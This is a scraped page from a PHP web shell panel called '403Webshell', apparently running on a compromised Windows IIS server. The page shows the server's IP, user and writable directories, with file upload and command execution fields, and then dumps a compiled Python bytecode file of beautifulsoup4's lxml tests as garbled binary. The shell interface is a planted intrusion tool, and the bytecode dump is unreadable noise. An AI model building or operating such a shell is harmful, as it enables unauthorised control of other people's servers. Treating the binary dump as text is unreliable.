403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/bs4/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/bs4/tests/__pycache__/test_lxml.cpython-312.pyc
�

V	�g���dZddlZddlZddlZddlmZmZerddlmZm	Z	ddl
mZddlmZm
Z
mZejj!ed�	�Gd
�de��Zejj!ed�	�Gd
�de
��Zy)z@Tests to ensure that the lxml tree builder generates good trees.�N�)�LXML_PRESENT�LXML_VERSION)�LXMLTreeBuilder�LXMLTreeBuilderForXML)�BeautifulStoneSoup)�HTMLTreeBuilderSmokeTest�XMLTreeBuilderSmokeTest�SOUP_SIEVE_PRESENTz;lxml seems not to be present, not testing its tree builder.��reasonc��eZdZdZed��Zd�Zd�Zejjexsedkd��d��Z
d	�Zd
�Zy)�TestLXMLTreeBuilder�!See ``HTMLTreeBuilderSmokeTest``.c��tS�N)r��selfs �5C:\Python312\Lib\site-packages\bs4/tests/test_lxml.py�default_builderz#TestLXMLTreeBuilder.default_builders����c�p�|jdd�|jdd�|jdd�y)Nz<p>foo&#10000000000000;bar</p>z
<p>foobar</p>z<p>foo&#x10000000000000;bar</p>z<p>foo&#1000000000;bar</p>)�assert_souprs r�test_out_of_range_entityz,TestLXMLTreeBuilder.test_out_of_range_entity s5�����9�?�K����:�O�L����5��Grc��yr�rs r�*test_entities_in_foreign_document_encodingz>TestLXMLTreeBuilder.test_entities_in_foreign_document_encoding%s��	
r)���rz@Skipping doctype test for old version of lxml to avoid segfault.rc�n�|jd�}|jd}d|j�k(sJ�y)Nz
<!DOCTYPE>r�)�soup�contents�strip)rr#�doctypes   r�test_empty_doctypez&TestLXMLTreeBuilder.test_empty_doctype.s4��
�y�y��&���-�-��"���W�]�]�_�$�$�$rc��tjd��5}td�}ddd�dtj�k(sJ�\}|j
tk(sJ�dt|j�vsJ�y#1swY�VxYw)NT)�recordz<b />z<b/>z+The BeautifulStoneSoup class was deprecated)�warnings�catch_warningsr�str�b�filename�__file__�message)r�wr#�warnings    r�%test_beautifulstonesoup_is_xml_parserz9TestLXMLTreeBuilder.test_beautifulstonesoup_is_xml_parser7s{���
$�
$�D�
1�	/�Q�%�g�.�D�	/���T�V�V��$�$�$��	�����8�+�+�+�<��G�O�O�@T�T�T�T�	/�	/�s�A8�8Bc��|jdd��}d|jjusJ�d|jjusJ�y)Nz=
   <p>

<sourceline>
<b>text</b></sourceline><sourcepos></p>T)�store_line_numbers)r#�p�
sourceline�	sourcepos�rr#s  r�test_tracking_line_numbersz.TestLXMLTreeBuilder.test_tracking_line_numbersAsO���y�y�O�#��
���t�v�v�(�(�(�(�(��t�v�v�'�'�'�'�'rN)�__name__�
__module__�__qualname__�__doc__�propertyrrr�pytest�mark�skipifrrr'r3r:rrrrrsj��
,�
����H�

��[�[�����7�L�<�7�Q���%�	�%�
U�
(rrz?lxml seems not to be present, not testing its XML tree builder.c�t�eZdZdZed��Zd�Zejje
d��d��Zd�Zy)	�TestLXMLXMLTreeBuilderrc��tSr)rrs rrz&TestLXMLXMLTreeBuilder.default_builderXs��$�$rc�>�|jd�}|jdddd�k(sJ�|jjddik(sJ�|jjddd�k(sJ�|jjddd�k(sJ�|j
jddd�k(sJ�y)	Nam<?xml version="1.1"?>
<root><tag xmlns="http://unprefixed-namespace.com">content</tag><prefix:tag2 xmlns:prefix="http://prefixed-namespace.com">content</prefix:tag2><prefix2:tag3 xmlns:prefix2="http://another-namespace.com"><subtag xmlns="http://another-unprefixed-namespace.com"><subsubtag xmlns="http://yet-another-unprefixed-namespace.com"></prefix2:tag3></root>z$http://www.w3.org/XML/1998/namespacezhttp://prefixed-namespace.comzhttp://another-namespace.com)�xml�prefix�prefix2rG)rHrG)rIrG)r#�_namespaces�tag�tag2�subtag�	subsubtagr9s  r�test_namespace_indexingz.TestLXMLXMLTreeBuilder.test_namespace_indexing\s����y�y�
�

��&���9�5�5�$
�
�	
�
��x�x�#�#��9�(
�
�	
�
��y�y�$�$�5�9�)
�
�	
�
�
�{�{�&�&�5�9�+
�
�	
�
�
�~�~�)�)�5�9�.
�
�	
�
rzSoup Sieve not installedrc��|jd�}|jd�jdk(sJ�|jd�jdk(sJ�|jd��J�|jd|jj��jdk(sJ�|jjd�jdk(sJ�|jd�jdk(sJ�|jd�jdk(sJ�|jd	�jdk(sJ�|jjd	�jdk(sJ�y)
Nz�<?xml version="1.1"?>
<root><tag xmlns="http://unprefixed-namespace.com">content</tag><prefix:tag2 xmlns:prefix="http://prefixed-namespace.com">content</tag><subtag xmlns:prefix="http://another-namespace-same-prefix.com"><prefix:tag3></subtag></root>rKzprefix|tag2rLzprefix|tag3)�
namespaces�tag3zprefix:tag2zprefix:tag3)r#�
select_one�namerMrJ�findr9s  r�/test_namespace_interaction_with_select_and_findzFTestLXMLXMLTreeBuilder.test_namespace_interaction_with_select_and_find�s?��
�y�y�
�	
�����u�%�*�*�e�3�3�3����}�-�2�2�f�<�<�<����}�-�5�5�5�
�O�O�M�d�k�k�6M�6M�O�N�S�S��
�	
�
��{�{�%�%�m�4�9�9�V�C�C�C��y�y���$�$��-�-�-��y�y��'�,�,��6�6�6��y�y��'�,�,��6�6�6��{�{���
�.�3�3�v�=�=�=rc�n�|jd�}t|j|j�sJ�t	j
|�}t	j|�}d|jjk(sJ�|j|jk7sJ�t|j|j�sJ�y)Nz<a>some markup</a>zsome markup)	r#�
isinstance�builderr�pickle�dumps�loads�a�string)rr#�pickled�	unpickleds    r�test_pickle_restores_builderz3TestLXMLXMLTreeBuilder.test_pickle_restores_builder�s����y�y�-�.���$�,�,��(<�(<�=�=�=��,�,�t�$���L�L��)�	��	��� 2� 2�2�2�2�� � �D�L�L�0�0�0��)�+�+�T�-A�-A�B�B�BrN)
r;r<r=r>r?rrOr@rArBrrVrarrrrDrDQsT��
,�
�%��%�2
�h�[�[���.�.�7Q��R�&>�S�&>�PCrrD)r>rZr@r*r"rr�bs4.builder._lxmlrr�bs4rr	r
rrArBrrDrrr�<module>rds���F�
�
��(��H�����������H���5(�2�5(�	�5(�p�������L���oC�4�oC�	�oCr

Youez - 2016 - github.com/yon3zu
LinuXploit